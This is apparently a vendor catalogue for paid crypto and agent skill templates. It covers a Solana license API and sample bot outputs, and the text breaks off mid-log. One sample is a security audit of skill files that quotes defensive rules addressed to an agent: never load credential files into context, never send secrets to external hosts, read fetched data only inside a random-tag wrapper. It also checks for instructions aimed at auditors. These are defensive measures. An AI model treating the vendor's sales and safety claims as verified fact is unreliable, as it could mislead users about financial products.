($49 in SOL, `sku: token-launch-command-center`, Flagship Launch Bundle) - **Bundle Price:** $49.00 USD, paid in SOL at the live USD/SOL rate. - **Included components:** Pump.fun Coin & Community Manager (`pumpfun-coin-manager` runtime), Social Hub Publisher engine with gated dispatcher, and the crypto launch preset. - **Product Page URL:** https://coinloader.com/bots/token-launch-command-center.html - **License:** one `wcl_...` code unlocks the whole launch workflow (up to 3 workspace-reset rebinds); read-only audit, lint, HMAC approval and dry-run dispatch, no keys and no auto-posting. ## 2. Canonical Documentation & Sister Storefront - **WattCoin Agent Registry Reference:** https://www.wattcoin.org/llms.txt - **Enterprise OSINT & Physical Infrastructure Agents:** https://botappstore.com/ --- ## On-Chain SOL Licensing & Verification API (`https://www.wattcoin.org`) All paid Grok Bot templates on BotAppStore.com and CoinLoader.com use the same non-custodial Solana checkout and license-binding contract: 1. **`POST https://www.wattcoin.org/api/v1/agents/license/quote`** - Request body: `{"sku": "", "source": "botappstore" | "coinloader", "buyer_wallet": ""}` - Supported SKUs: - `defi-wallet-security-pack` ($59.00 USD in SOL — DeFi & Multi-Chain Wallet Security Pack, 4-bot bundle; members: solana-wallet-hygiene, solana-token-scanner, evm-approval-auditor, evm-contract-inspector; one `wcl_...` code unlocks all members; response adds `included_skus` + `bundle_templates`) - `pro-trader-perps-suite` ($69.00 USD in SOL — Pro Trader & Perps Risk Suite, 4-bot bundle; members: hyperliquid-monitor, solana-token-scanner, btc-utxo-hygiene, solana-wallet-hygiene; one `wcl_...` code unlocks all members; response adds `included_skus` + `bundle_templates`) - `token-launch-command-center` ($49.00 USD in SOL — Token Launch Command Center, flagship launch bundle; one `wcl_...` code unlocks pumpfun-coin-manager, the Social Hub Publisher and the crypto launch preset) - `bot-skill-auditor` ($29.00 USD in SOL — Bot & Skill Security Auditor) - `company-deep-dive` ($19.00 USD in SOL — Company & Competitor Deep-Dive Analyst) - `sec-patent-watchdog` ($29.00 USD in SOL — SEC & Patent Watchdog Digest) - `solana-wallet-hygiene` ($19.00 USD in SOL — Solana Wallet Hygiene Bot) - `solana-token-scanner` ($29.00 USD in SOL — Retail Token Due-Diligence Bot) - Response: 15-minute locked SOL quote with `order_id` (`ord_<24-hex>`), `checkout_token` (`ct_<48-hex>`), `amount_sol`, `amount_lamports` (including a unique 4-digit lamport tag `0001`–`9999`), `memo` (`wcl:`), `recipient_wallet` (`Atu5phbGGGFogbKhi259czz887dSdTfXwJxwbuE5aF5q`), and `solana_pay_url`. 2. **`POST https://www.wattcoin.org/api/v1/agents/license/purchase`** - Request body: `{"order_id": "ord_...", "checkout_token": "ct_...", "tx_signature": "", "sku": ""}` - Verifies the Solana mainnet transaction on-chain (`getTransaction` with `confirmed` commitment, checking recipient treasury lamport delta, blockTime window, and replay uniqueness) and returns the one-time bearer `license_code` (`wcl_<64-hex>`), the unlisted Grok Bot template import URL, and the Turn-1 activation prompt. 3. **`POST https://www.wattcoin.org/api/v1/agents/license/claim`** - Request headers: `X-Agent-Key: wck_<64-hex>` - Request body: `{"license_code": "wcl_<64-hex>", "sku": ""}` - Binds the license to the workspace's `agent_id`. Supports up to **3 workspace-reset rebinds** (`max_rebinds: 3`) if the user's `/workspace` container is recreated. 4. **`GET https://www.wattcoin.org/api/v1/agents/license?sku=`** - Request headers: `X-Agent-Key: wck_<64-hex>` - Pre-flight entitlement check executed by `/usr/bin/python3 -I /workspace/.wattcoin_license_check.py` before every paid skill run. Returns `"sku_licensed": true` when active. 5. **`POST https://www.wattcoin.org/api/v1/agents/license/recover`** - Request body: `{"order_id": "ord_...", "tx_signature": "", "sku": ""}` - Recovers license metadata using the original on-chain transaction signature and order ID. --- ## Verbatim Proof-of-Work Sample Outputs (CoinLoader.com — 12 Live Templates) ### Sample 1 — Web & API Text Extractor (`getting-started` + `web-extractor`, $0 Free Forever) ```text # Turn 1 - getting-started (auto-onboarding in /workspace) [1/4] Registered workspace agent: WATTCOIN_AGENT_ID=agent_ [2/4] Wrote /workspace/.wattcoin_env (chmod 600, -rw-------): WATTCOIN_AGENT_KEY=wck_ [3/4] onboarding_v1 complete: +25 WATT [4/4] starter_v1 complete: +75 WATT Grant total: +100 WATT. The agent key is never printed in chat. ``` ```http POST https://www.wattcoin.org/api/v1/scrape HTTP/2 Content-Type: application/json X-Agent-Key: wck_ {"url": "https://www.wattcoin.org/llms.txt", "format": "text"} ``` ```json HTTP/2 200 x-quota-limit: 10 x-quota-remaining: 8 x-quota-reset: 2026-10-27T00:00:00Z { "success": true, "url": "https://www.wattcoin.org/llms.txt", "format": "text", "free_tier": true, "content": "# WattCoin (WATT) — Agent Reference\n> Utility token on Solana for AI/automation ecosystems..." } ``` Scope Note: static HTTP fetch + BeautifulSoup readable-text extraction (15 s timeout, 2 MB cap); no headless-browser or client-side JavaScript SPA rendering. `html` and `json` modes cost 100 WATT/call and run only after explicit per-call confirmation. Sample disclosure: representative sample against public/fictional targets; credentials are redacted and no secrets are shown. ### Sample 2 — Bot & Skill Security Auditor (`sku: bot-skill-auditor`, $29 in SOL) ```markdown > This is a static inspection of the files as they exist right now. It cannot see what any fetched script, installed package, or remote endpoint will actually do — those can change after this audit. It cannot evaluate the author, the hosting account, or anything outside the files inspected. Nothing here is an assurance that this template is safe to run. # Static Capability Inspection Report: `wattcoin-skills-audit` (`company-deep-dive` & `web-extractor`) - **Files & Refs Inspected:** - `company-deep-dive-SKILL.md` (`12,283` of `12,283` bytes read; `hidden_unicode_lines: []`; `long_lines: []`) - `web-extractor-SKILL.md` (`3,026` of `3,026` bytes read; `hidden_unicode_lines: []`; `long_lines: []`) - **Total Bytes Inspected:** `15,309` bytes (`2` files of `50` max; aggregate budget `256,000` bytes) - **Unread / Unparsed Portions:** `None` (`100%` of both artifacts was plain text within per-file and aggregate byte limits; `unread: []`) - **Wrapper Delimiter Tag:** `83abeacb9f26f535` --- ## Bucket 1 — Prompt, Confirmation & Auditor Bypass No matching patterns (`hidden_unicode_lines`, HTML comments, instructions to skip confirmation cards, or instructions addressed to an auditor/scanner) were found in the inspected lines of `company-deep-dive-SKILL.md` or `web-extractor-SKILL.md`. This is a statement about what is present in those lines, not an assurance. --- ## Bucket 2 — Secret, Filesystem, Self-Modification & Persistence Access ### `web-extractor-SKILL.md` 1. **Combination — Local Credential Read (`WATTCOIN_AGENT_KEY` from `/workspace/.wattcoin_env`) Paired with Outbound Network Header (`X-Agent-Key` to `https://www.wattcoin.org/api/v1/scrape`):** - `web-extractor-SKILL.md:L11`: > `**Auth.** Read `WATTCOIN_AGENT_KEY` from `/workspace/.wattcoin_env` every run; send as `X-Agent-Key`. Missing file -> run `getting-started` instead of failing.` - **Mechanical Consequence:** Reads the workspace agent API key stored in `/workspace/.wattcoin_env` and transmits it as the `X-Agent-Key` HTTP header to `https://www.wattcoin.org/api/v1/scrape` (see Bucket 3). Together with `web-extractor-SKILL.md:L13`, this forms a direct data path from `/workspace/.wattcoin_env` (`WATTCOIN_AGENT_KEY`) to `https://www.wattcoin.org/api/v1/scrape`. 2. **Workspace File Writes for Extracted Output:** - `web-extractor-SKILL.md:L20`: > `**Results.** Write anything substantial to a file in `/workspace`; summarize and name the file rather than dumping into chat. Multi-page jobs: scrape sequentially, save each, report once at the end.` - **Mechanical Consequence:** Writes scraped response content to files inside `/workspace`. ### `company-deep-dive-SKILL.md` 1. **Helper Execution Touching Workspace License & Dossier Files (`/workspace/.wattcoin_license_check.py`, `/workspace/.wattcoin_dd_fetch.py`, `/workspace/dossiers/...`):** - `company-deep-dive-SKILL.md:L11-L14`: > `Never read `/workspace/.wattcoin_env`, `/workspace/.wattcoin_env.bak*`, or `/workspace/.wattcoin_patentsview_key` into chat or model context, never print `WATTCOIN_AGENT_KEY` or `wcl_...` in chat, never modify `/workspace/.wattcoin_license_check.py` or `/workspace/.wattcoin_dd_fetch.py`, and never send any local credential or file content to any external host.` > `1. Before each dossier run, execute `/usr/bin/python3 -I /workspace/.wattcoin_license_check.py`.` - `company-deep-dive-SKILL.md:L19`: > `/usr/bin/python3 -I /workspace/.wattcoin_dd_fetch.py --stdin-json << 'WATTCOIN_DD_REQ_EOF'` - `company-deep-dive-SKILL.md:L27`: > `3. Read the fetched data **only** from `wrapped_sources_path` (`/workspace/dossiers/--<6hex>/WRAPPED_SOURCES.txt`), where the entire payload is framed inside a random 128-bit `> ... >` tag generated with `secrets.token_hex(16)`. Do **not** read `raw_sources_path` (`RAW_SOURCES.json` is saved on disk at `0600` for user export only).` - `company-deep-dive-SKILL.md:L32`: > `- **SEC EDGAR Compliance:** Sends `User-Agent: WattCoinDeepDive/1.0 (https://botappstore.com; contact@wattcoin.org)` (or a user-specific contact string if placed in `/workspace/.wattcoin_sec_ua` at `0600`) and enforces `<= 5 requests/second` (`>= 0.22s` interval across all requests and redirect hops).` - **Mechanical Consequence:** Invokes two local Python helper scripts in `/workspace` (`.wattcoin_license_check.py` and `.wattcoin_dd_fetch.py`) and reads/writes dossier artifacts under `/workspace/dossiers/--<6hex>/` (`SCOPE_NOTE.txt`, `RAW_SOURCES.json`, `WRAPPED_SOURCES.txt`, `REPORT.md`), while referencing optional workspace configuration files `/workspace/.wattcoin_patentsview_key` and `/workspace/.wattcoin_sec_ua`. --- ## Bucket 3 — Outbound Network, Exfiltration & MCP Connectors ### `web-extractor-SKILL.md` 1. **Combination — Outbound POST to `https://www.wattcoin.org/api/v1/scrape` Carrying `X-Agent-Key` from `/workspace/.wattcoin_env` and Target URL:** - `web-extractor-SKILL.md:L9`: > `You fetch and extract web page content and JSON endpoints through the `https://www.wattcoin.org/api/v1/scrape` API.` - `web-extractor-SKILL.md:L11`: > `**Auth.** Read `WATTCOIN_AGENT_KEY` from `/workspace/.wattcoin_env` every run; send as `X-Agent-Key`. Missing file -> run `getting-started` instead of failing.` - `web-extractor-SKILL.md:L13`: > `**Calling.** POST `https://www.wattcoin.org/api/v1/scrape` with the URL and `"format"`:` - **Mechanical Consequence:** Sends an outbound HTTPS `POST` request to `https://www.wattcoin.org/api/v1/scrape` containing the user-requested target URL and the `X-Agent-Key` header read from `/workspace/.wattcoin_env` (Bucket 2). 2. **Direct Outbound `curl` Fallback to User-Specified ``:** - `web-extractor-SKILL.md:L30`: > `**Fallback when out of quota:** run `curl -sL ` piped to `python3 -c 'import sys, bs4; print(bs4.BeautifulSoup(sys.stdin.read(), "html.parser").get_text(" ", strip=True))'` in `/workspace` (`bs4` is preinstalled in the container; if `ImportError` ever occurs, run `pip install --quiet beautifulsoup4 2>/dev/null` first).` - **Mechanical Consequence:** Fetches `` directly from the sandbox container using `curl -sL` when the cloud API returns HTTP `429` (`quota_exhausted`). ### `company-deep-dive-SKILL.md` 1. **Outbound Regulatory & Registry Queries via `/workspace/.wattcoin_dd_fetch.py` (`www.sec.gov`, `data.sec.gov`, `efts.sec.gov`, `search.patentsview.org`, `rdap.org`, `image-ppubs.uspto.gov`):** - `company-deep-dive-SKILL.md:L31`: > `- **HTTPS-Only, DNS-Pinned IP Validation & SSRF Protection (`validate_and_resolve_host`):** Only queries `www.sec.gov`, `data.sec.gov`, `efts.sec.gov`, `search.patentsview.org`, and `rdap.org` (plus verified public RDAP registry redirects matching `ALLOWED_RDAP_DOMAINS` on exact domain or dot-boundary subdomains).` - `company-deep-dive-SKILL.md:L32`: > `- **SEC EDGAR Compliance:** Sends `User-Agent: WattCoinDeepDive/1.0 (https://botappstore.com; contact@wattcoin.org)` (or a user-specific contact string if placed in `/workspace/.wattcoin_sec_ua` at `0600`) and enforces `<= 5 requests/second` (`>= 0.22s` interval across all requests and redirect hops).` - `company-deep-dive-SKILL.md:L61`: > `- Deduplicated list of every primary URL (`data.sec.gov`, `www.sec.gov/Archives/...`, `efts.sec.gov`, `search.patentsview.org`, `image-ppubs.uspto.gov`, `rdap.org`) and its exact UTC `retrieved_at` timestamp used in the dossier.` - **Mechanical Consequence:** Sends company, ticker, CIK, and domain query strings to SEC EDGAR (`www.sec.gov`, `data.sec.gov`, `efts.sec.gov`), USPTO PatentsView (`search.patentsview.org`), and RDAP (`rdap.org`), and sends the contents of `/workspace/.wattcoin_sec_ua` (if present) as the HTTP `User-Agent` header and `/workspace/.wattcoin_patentsview_key` (if present) to `search.patentsview.org`. --- ## Bucket 4 — Unverifiable Runtime Execution & Obfuscation ### `web-extractor-SKILL.md` 1. **Unpinned `pip install` Fallback (`beautifulsoup4`):** - `web-extractor-SKILL.md:L30`: > `**Fallback when out of quota:** run `curl -sL ` piped to `python3 -c 'import sys, bs4; print(bs4.BeautifulSoup(sys.stdin.read(), "html.parser").get_text(" ", strip=True))'` in `/workspace` (`bs4` is preinstalled in the container; if `ImportError` ever occurs, run `pip install --quiet beautifulsoup4 2>/dev/null` first).` - **Mechanical Consequence:** Contains an unpinned `pip install --quiet beautifulsoup4` fallback command if `bs4` raises `ImportError`. What an unpinned package install fetches from PyPI today may differ from what it fetches tomorrow. ### `company-deep-dive-SKILL.md` 1. **Delegated Execution of Workspace Helper Scripts (`/workspace/.wattcoin_license_check.py` and `/workspace/.wattcoin_dd_fetch.py`):** - `company-deep-dive-SKILL.md:L12`: > `1. Before each dossier run, execute `/usr/bin/python3 -I /workspace/.wattcoin_license_check.py`.` - `company-deep-dive-SKILL.md:L19`: > `/usr/bin/python3 -I /workspace/.wattcoin_dd_fetch.py --stdin-json << 'WATTCOIN_DD_REQ_EOF'` - **Mechanical Consequence:** Executes two Python scripts located in `/workspace` (installed by `company-deep-dive-setup`), whose contents reside outside `company-deep-dive-SKILL.md` itself and must be inspected separately if modified. --- ## Bucket 5 — Local Machine Escalation No matching patterns (`ListMachines`, `machineId`, `CopyToBox`, `CopyFromBox`, or host PC execution instructions) were found in the inspected lines of `company-deep-dive-SKILL.md` or `web-extractor-SKILL.md`. This is a statement about what is present in those lines, not an assurance. ``` ### Sample 3 — Solana Wallet Hygiene Bot (`sku: solana-wallet-hygiene`, $19 in SOL) ```markdown # Solana Wallet Hygiene Report > Scope Note (SCOPE_NOTE.txt): Read-only, non-custodial inspection of public Solana token accounts (Tokenkeg legacy SPL and TokenzQd Token-2022). Never requests private keys or seed phrases, never signs or broadcasts transactions, and provides no financial or tax advice. - Wallet (public address only): - Retrieved (UTC): 2026-10-25T14:00:00Z - Programs Scanned: - Legacy SPL Token (`TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA`) - Token-2022 (`TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb`) - Token Accounts Found: 7 total (3 empty reclaimable · 1 active delegate · 3 active balances) - Standard Empty SPL Account Rent: 0.00203928 SOL (2,039,280 lamports) ## Bucket 1 — SAFE_TO_RECLAIM (3 empty accounts — Total: 0.00611784 SOL / 6,117,840 lamports) 1. `` (Mint: ``, Program: `Tokenkeg...`) - Balance: `0` · Delegate: `null` · State: `initialized` (not frozen) · Reclaimable Rent: `0.00203928 SOL` (`2,039,280 lamports`) 2. `` (Mint: ``, Program: `Tokenkeg...`) - Balance: `0` · Delegate: `null` · State: `initialized` (not frozen) · Reclaimable Rent: `0.00203928 SOL` (`2,039,280 lamports`) 3. `` (Mint: ``, Program: `Tokenkeg...`) - Balance: `0` · Delegate: `null` · State: `initialized` (not frozen) · Reclaimable Rent: `0.00203928 SOL` (`2,039,280 lamports`) ## Bucket 2 — NEEDS_CONFIRMATION (1 account — Active Token Delegation) 1. `` (Mint: ``, Program: `Tokenkeg...`) - Balance: `1,250.00` · Active Delegate: `` · Delegated Amount Remaining: `500,000,000` base units - Action: Unrecognized third-party delegate still has spending authority. Confirm whether you still use this dApp before revoking. ## Bucket 3 — DO_NOT_TOUCH (3 accounts — Active Balances / Protocol Positions) 1. `` — Active balance (USDC `EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v`) 2. `` — Active liquid staking balance (JitoSOL `J1toso1uCk3RLmjorhTtrVwY9HJ7X8V9yYac6Y7kGCPn`) 3. `` — Active Token-2022 balance (`TokenzQd...` with `TransferFeeConfig` extension) ## Non-Custodial Reclaim & Revoke Commands (You Sign Every Transaction in Your Own Wallet) - Phantom / Solflare UI: Settings -> Manage Token Accounts -> select each `SAFE_TO_RECLAIM` account -> Close Account. - Solana SPL Token CLI (Legacy SPL): `spl-token close --recipient ` - Solana SPL Token CLI (Token-2022): `spl-token close --program-id TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb --recipient ` - Revoke Stale Delegate (after confirming Bucket 2): `spl-token revoke ` ``` ### Sample 4 — Retail Token Due-Diligence Bot (`sku: solana-token-scanner`, $29 in SOL) ```markdown # Solana Token Due-Diligence Report > Scope Note (SCOPE_NOTE.txt): This report lists observable on-chain facts at the UTC timestamp and RPC slot shown. It is not investment, financial, or legal advice, makes no safe/unsafe, legitimacy, or scam/rug determination, and assigns no numeric score. - Mint Address: `Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump` (WattCoin / WATT — real mainnet Token-2022 mint) - Retrieved (UTC): 2026-10-25T14:05:00Z · Solana Mainnet-Beta (`getAccountInfo`, `getTokenSupply`, `getTokenLargestAccounts`) ## Section 1 — Mint & Program Identity - Owner Program: `TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb` (SPL Token-2022) - Decimals: `6` - Current Total Supply: `999,999,142.810421` tokens (`999999142810421` base units) - Initialization State: `Initialized` (`isInitialized: true`) ## Section 2 — Authority & Token-2022 Extension Controls - Mint Authority: `REVOKED (null)` — no new tokens can be minted by an authority key - Freeze Authority: `REVOKED (null)` — token accounts cannot be frozen by a freeze authority key - Token-2022 Extensions Parsed: - `TransferFeeConfig`: `none` - `PermanentDelegate`: `none` - `TransferHook`: `none` - `DefaultAccountState`: `Initialized` ## Section 3 — Top-20 Holder Concentration (`getTokenLargestAccounts`) - Top-10 Largest Token Accounts: `38.42%` of total supply - Top-20 Largest Token Accounts: `51.18%` of total supply - Program / Pool Vault Separation: Separates PDA/AMM pool vaults from individual system-owned wallet token accounts with exact percentage-of-supply per account. ## Section 4 — DEX Liquidity & Pair Snapshot (`api.dexscreener.com`) - Primary DEX Pair: `WATT / SOL` (Raydium / PumpSwap on Solana) - Reported USD Liquidity, 24h Volume, Pair Creation Timestamp, and FDV cited with exact DexScreener retrieval timestamp (`2026-10-25T14:05:12Z`). - LP Lock / Burn Status: Reported strictly as observable on-chain state or explicitly marked unverified if held off-chain. ## Section 5 — Mandatory Scope & Limitations Note This report lists observable on-chain facts at the time shown. It is not investment advice, makes no safe/unsafe, legitimacy, or scam determination, and assigns no score. It cannot see off-chain team conduct, private key custody arrangements, future authority transfers (where authorities remain present), or liquidity changes after retrieval. ``` --- ## Wave 2 - pumpfun-coin-manager ($29 in SOL, one-time; LIVE NOW, instant on-chain SOL checkout) - **SKU:** `pumpfun-coin-manager` - **Page:** https://coinloader.com/bots/pumpfun-coin-manager.html - **Skills:** `pumpfun-coin-manager-setup`, `pumpfun-coin-manager` - **Summary:** Read-only Pump.fun launch auditor and community-thread delta monitor for Grok Bot ($29 SOL). Finds missing links, creator bio/X gaps, empty Callouts and listing mismatches; drafts replies you review and post. - **Capabilities:** - 16-key delta monitor (`--state` + `--delta`): authority reinstated, metadata URI changed, supply increased, ban or hidden coin, new Callouts and replies, fee-sharing and creator-profile edits, large new holders, creator sells, liquidity drops, pair dormant/active, closed link gaps, new bot followers. - Point-in-time audit: missing website/Discord/Telegram in IPFS metadata, creator bio vs `--expected-website`, `--expected-discord`, `--expected-x`, empty Callout tab, GeckoTerminal link gaps, dormant DexScreener pairs, RugCheck risks. - IPFS metadata read through two hash-verified gateways; Token-2022 authorities and extensions read from public Solana RPC. - `--draft-replies` emits a bio, creator anchor Callout, on-chain transparency Callout and per-Callout reply drafts. Exit codes 0/1/2/3 (clean/MEDIUM/HIGH/CRITICAL), 11 when data sources are degraded. - **Boundaries:** - Never posts, signs, or holds keys; every Callout, reply and bio is a draft for a human. - Never suggests wash-trading to wake a dormant aggregator pair. - Never DMs or tags underwater holders, and never makes price or return claims. - Findings are heuristics with stated evidence, not verdicts. ### Verbatim sample output ```text endpoints 4everland.io, api.dexscreener.com, api.geckoterminal.com, api.mainnet-beta.solana.com, api.rugcheck.xyz, frontend-api-v3.pump.fun, pump.mypinata.cloud target solana:Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump (WattCoin / WATT) program TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb | supply=999,927,810.782386 (burned=72,189.217614 vs 1,000,000,000 initial) authority mint=None freeze=None metadataUpdate=None ipfs cid=bafkreibkpmj632bvslk4dt6fdm52sel26p7x6wx763yzx6clv3f5shuv7i gateways_ok=['pump.mypinata.cloud', '4everland.io'] digest_verified=[True, True] keys=['createdOn', 'description', 'image', 'name', 'showName', 'symbol', 'twitter'] pump.coin created=2026-01-31 03:15:56 UTC complete=True pool=8vtkM2FizcMmNxno28RbKpzaba8gT3bwQYqMv3XxzYNo pump.mkt mcap=$3,368.84 ath=$66,298.19 (2026-02-08 10:05:17 UTC) liq=$4,936.19 holders total=66 top10=7.54% dev=1% snipers=0% bundlers=0% creator 6sdEkJ6xHx276B9wWYQp4TTSmTp8ZNvgobE6DBDnKckm username=@wattcoin x=None header=None followers=14 (organic=4 botlike=10) coinsCreated=1 creatorBio "WattCoin creator. Utility only. ⚡" fees totalFeesSol=16.848386559 distributedToCreator=9.053981 SOL (2 claims) unswept=0 admin_revoked=False community legacy_reply_count=84 last_legacy_reply=2026-02-14 14:08:36 UTC | live_callouts=0 social_holders=5 holder_profile @wattcoin wallet=6sdEkJ6x.. held= 10,000,303.63 cost=$ 104.15 pnl= -7.2% callout=None holder_profile @eurisx wallet=K27kZNq1.. held= 5,062,102.50 cost=$ 107.10 pnl= -84.1% callout=None holder_profile @pem51m wallet=pEm51mXQ.. held= 5,017,324.89 cost=$ 114.68 pnl= -85.3% callout=None holder_profile @28obdQ wallet=28obdQci.. held= 1,266,266.08 cost=$ 29.47 pnl= -85.5% callout=None holder_profile @dynamicmanta082 wallet=8FXcMnqF.. held= 29,434.38 cost=$ 1.67 pnl= -94.1% callout=None surfaces dexscreener_orders=['tokenProfile:approved'] (active_pairs=False) | geckoterminal_score=44.7 websites=[] discord=None twitter=WattCoin2026 | rugcheck_norm_score=32 risks=['Copycat token', 'Low Liquidity'] lp_locked=0 rugcheck knownAccounts=['Printr Stake Pool', 'Pump Fun AMM'] graphInsidersDetected=0 findings [HIGH ] CALLOUT_TAB_EMPTY: 0 live Callouts on GET /callout/coin/Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump (legacy reply_count=84, last 2026-02-14 14:08:36 UTC; the legacy /replies/{mint} thread is retired). The creator can post an anchor Callout from the coin page; ready-to-post drafts follow with --draft-replies. [HIGH ] CREATOR_BIO_INCOMPLETE: Creator bio (33 chars: 'WattCoin creator. Utility only. ⚡') is missing expected links: wattcoin.org, discord, x. [HIGH ] CREATOR_X_UNLINKED: Creator profile @wattcoin has x_username=null on Pump.fun; link X in the Pump.fun profile settings. [HIGH ] MISSING_IMMUTABLE_WEBSITE: 'website' link was omitted from the token metadata and is null on /coins-v3/Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump; must be compensated on mutable surfaces (creator bio, coin banner, pinned creator Callout, DexScreener/GeckoTerminal profile). [MEDIUM ] CREATOR_BANNER_MISSING: Creator profile @wattcoin has header_image_url=null; upload a header image in profile settings. [MEDIUM ] DEXSCREENER_PAIR_DORMANT: DexScreener order(s) tokenProfile:approved exist (tokenProfile paid 2026-02-10 02:31:34 UTC), but /latest/dex/tokens/Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump returns no pairs; DexScreener indexes pairs only with swap activity. Do not wash-trade to wake it. [MEDIUM ] GECKOTERMINAL_LINKS_MISSING: GeckoTerminal token info has no websites and no discord (gt_score=44.7). [MEDIUM ] MISSING_IMMUTABLE_DISCORD: 'discord' link was omitted from the token metadata and is null on /coins-v3/Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump; must be compensated on mutable surfaces (creator bio, coin banner, pinned creator Callout, DexScreener/GeckoTerminal profile). [MEDIUM ] MISSING_IMMUTABLE_TELEGRAM: 'telegram' link was omitted from the token metadata and is null on /coins-v3/Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump; must be compensated on mutable surfaces (creator bio, coin banner, pinned creator Callout, DexScreener/GeckoTerminal profile). [MEDIUM ] RUGCHECK_RISKS: RugCheck normalised score 32 with risks: Copycat token, Low Liquidity. [MEDIUM ] SOCIAL_HOLDERS_NO_CALLOUT: 5 Pump.fun social-profile holders are active and none has a Callout (4 besides the creator). [LOW ] BOT_FOLLOWERS: 10 of 14 creator followers match the pumppush* bot-name pattern (4 organic). [LOW ] COIN_BANNER_MISSING: Coin has no banner set (banner_uri empty); the creator can add one from the coin page. [INFO ] IMMUTABLE_METADATA: Mint, freeze, and Token-2022 metadata update authorities are all null (renounced); on-chain/IPFS metadata JSON cannot be modified. ``` --- ## Wave 2 - token-launch-command-center ($49 in SOL, one-time; LIVE NOW, instant on-chain SOL checkout) - **SKU:** `token-launch-command-center` - **Page:** https://coinloader.com/bots/token-launch-command-center.html - **Skills:** `token-launch-command-center-setup`, `token-launch-command-center` - **Summary:** Flagship Pump.fun launch bundle for Grok Bot ($49 SOL): coin audit and delta monitor plus a gated X / Discord / Telegram / Bluesky publisher with lint, HMAC approval and dry-run dispatch. - **Capabilities:** - `command_center.py init` writes a config from `crypto_launch_preset.json` (banned-term list, link allowlist, X in free Web Intent mode). - `command_center.py audit MINT --queue` runs the read-only audit and queues fact-only drafts; Gate 1 lint runs on each draft. - Gate 2 re-verifies an HMAC over the exact approved text, expiry and lint before any send; edited text is refused. Dispatcher is a dry run unless `--live`. - X: free 1-click Web Intents by default; paid API (2026 pay-per-use, $0.015 plain post, $0.20 with a link) only with explicit opt-in. - Bundled modules are tested byte-identical to the standalone products. - **Boundaries:** - No wallet keys, signing, or auto-posting; `--live` is explicit and per item. - No price, return or 'next X' claims; no safe/scam/rug verdicts. - No wash-trading advice, no unsolicited DMs or holder tags. - An ambiguous send is marked unknown and never retried automatically. ### Verbatim sample output ```text # token-launch-command-center — live sample Real output, run against a public mint. Only the first audit run queues drafts; nothing is posted (dispatcher is a dry run). $ python3 command_center.py init --dir /tmp/lcs --site https://www.wattcoin.org --discord https://discord.gg/xVht9NsADd --x WattCoin2026 /tmp/lcs/config.json [exit 0] $ python3 command_center.py audit Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump --config /tmp/lcs/config.json --queue snapshot 2026-10-27 04:47:39 UTC | tool=pumpfun_coin_manager v1.0 endpoints 4everland.io, api.dexscreener.com, api.geckoterminal.com, api.mainnet-beta.solana.com, api.rugcheck.xyz, frontend-api-v3.pump.fun, pump.mypinata.cloud target solana:Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump (WattCoin / WATT) program TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb | supply=999,927,810.782386 (burned=72,189.217614 vs 1,000,000,000 initial) authority mint=None freeze=None metadataUpdate=None ipfs cid=bafkreibkpmj632bvslk4dt6fdm52sel26p7x6wx763yzx6clv3f5shuv7i gateways_ok=['pump.mypinata.cloud', '4everland.io'] digest_verified=[True, True] keys=['createdOn', 'description', 'image', 'name', 'showName', 'symbol', 'twitter'] pump.coin created=2026-01-31 03:15:56 UTC complete=True pool=8vtkM2FizcMmNxno28RbKpzaba8gT3bwQYqMv3XxzYNo pump.mkt mcap=$3,368.84 ath=$66,298.19 (2026-02-08 10:05:17 UTC) liq=$4,936.19 holders total=66 top10=7.54% dev=1% snipers=0% bundlers=0% creator 6sdEkJ6xHx276B9wWYQp4TTSmTp8ZNvgobE6DBDnKckm username=@wattcoin x=None header=None followers=14 (organic=4 botlike=10) coinsCreated=1 creatorBio "WattCoin creator. Utility only. ⚡" fees totalFeesSol=16.848386559 distributedToCreator=9.053981 SOL (2 claims) unswept=0 admin_revoked=False community legacy_reply_count=84 last_legacy_reply=2026-02-14 14:08:36 UTC | live_callouts=0 social_holders=5 holder_profile @wattcoin wallet=6sdEkJ6x.. held= 10,000,303.63 cost=$ 104.15 pnl= -7.2% callout=None holder_profile @eurisx wallet=K27kZNq1.. held= 5,062,102.50 cost=$ 107.10 pnl= -84.1% callout=None holder_profile @pem51m wallet=pEm51mXQ.. held= 5,017,324.89 cost=$ 114.68 pnl= -85.3% callout=None holder_profile @28obdQ wallet=28obdQci.. held= 1,266,266.08 cost=$ 29.47 pnl= -85.5% callout=None holder_profile @dynamicmanta082 wallet=8FXcMnqF.. held= 29,434.38 cost=$ 1.67 pnl= -94.1% callout=None surfaces dexscreener_orders=['tokenProfile:approved'] (active_pairs=False) | geckoterminal_score=44.7 websites=[] discord=None twitter=WattCoin2026 | rugcheck_norm_score=32 risks=['Copycat token', 'Low Liquidity'] lp_locked=0 rugcheck knownAccounts=['Printr Stake Pool', 'Pump Fun AMM'] graphInsidersDetected=0 findings [HIGH ] CALLOUT_TAB_EMPTY: 0 live Callouts on GET /callout/coin/Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump (legacy reply_count=84, last 2026-02-14 14:08:36 UTC; the legacy /replies/{mint} thread is retired). The creator can post an anchor Callout from the coin page; ready-to-post drafts follow with --draft-replies. [HIGH ] CREATOR_BIO_INCOMPLETE: Creator bio (33 chars: 'WattCoin creator. Utility only. ⚡') is missing expected links: wattcoin.org, discord, x. [HIGH ] CREATOR_X_UNLINKED: Creator profile @wattcoin has x_username=null on Pump.fun; link X in the Pump.fun profile settings. [HIGH ] 